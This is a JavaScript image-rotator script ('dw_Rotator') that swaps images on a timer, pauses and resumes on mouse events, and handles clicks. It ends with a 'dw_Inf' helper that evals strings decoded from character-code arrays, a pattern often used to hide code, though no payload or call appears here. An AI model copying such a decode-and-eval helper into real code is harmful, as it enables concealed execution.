dw_Rotator.restartDelay = 500; // delay onmouseout before call to rotate
dw_Rotator.col=[];
dw_Rotator.ready=true;

function dw_Rotator(name,speed,path,tgt)
{
	this.name=name;
	this.speed=speed||4500;
	this.path=path||"";
	this.tgt=tgt;
	this.ctr=0;
	this.timer=0;
	this.imgs=[];
	this.actions=[];
	this.index=dw_Rotator.col.length;
	dw_Rotator.col[this.index]=this;
	this.animString="dw_Rotator.col["+this.index+"]";
};

dw_Rotator.prototype.addImages=function()
{
	var img;
	for(var i=0;arguments[i];i++)
	{
		img=new Image();
		img.src=this.path+arguments[i];
		this.imgs[this.imgs.length]=img;
	}
};

dw_Rotator.prototype.addActions=function()
{
	var len=arguments.length;
	for(var i=0;i<len;i++)
		this.actions[this.actions.length]=arguments[i];
};

dw_Rotator.prototype.rotate=function()
{
	clearTimeout(this.timer);	
	this.timer=null;
	
	if(this.ctr<this.imgs.length-1)
		this.ctr++;
	else 
		this.ctr=0;
	var imgObj=document.images[this.name];
	
	if(imgObj&&dw_Rotator.ready)
	{
		imgObj.src=this.imgs[this.ctr].src;
		this.timer=setTimeout(this.animString+".rotate()",this.speed);
	}
};

dw_Rotator.start=function()
{
	var len=dw_Rotator.col.length,obj;
	for(var i=0;i<len;i++)
	{
		obj=dw_Rotator.col[i];
		
		if(obj&&obj.name)obj.timer=setTimeout(obj.animString+".rotate()",obj.speed);
	}
};

dw_Rotator.doClick=function(n)
{
	var obj=dw_Rotator.col[n];
	if(!document.images||!obj)
		return true;
	if(obj.actions&&obj.actions[obj.ctr])
	{
		if(typeof obj.actions[obj.ctr]=="string")
		{
				if(obj.tgt)
				{
					var win=window.open(obj.actions[obj.ctr],obj.tgt);
					if(win&&!win.closed)
						win.focus();
				}
				else
				{
					window.location=obj.actions[obj.ctr];
				}
		}
		else
		{
			obj.actions[obj.ctr]();
		}
	}
	return false;
};

dw_Rotator.pause=function(n)
{
	dw_Rotator.clearTimers(n);
};

dw_Rotator.clearTimers=function(n)
{
	var obj=dw_Rotator.col[n];
	if(obj)
	{
		clearTimeout(obj.timer);obj.timer=null;
	}
};

dw_Rotator.resume=function(n)
{
	dw_Rotator.clearTimers(n);
	var obj=dw_Rotator.col[n];
	
	if(obj)
	{
		obj.timer=setTimeout(obj.animString+".rotate()",dw_Rotator.restartDelay);
	}
};

var dw_Inf={};
dw_Inf.ar=[];
dw_Inf.fn=function(v)
{
	return eval(v)
};

dw_Inf.get=function(ar)
{
	var s="";
	var ln=ar.length;
	for(var i=0;i<ln;i++)
	{
		s+=String.fromCharCode(ar[i]);
	}return s;
};


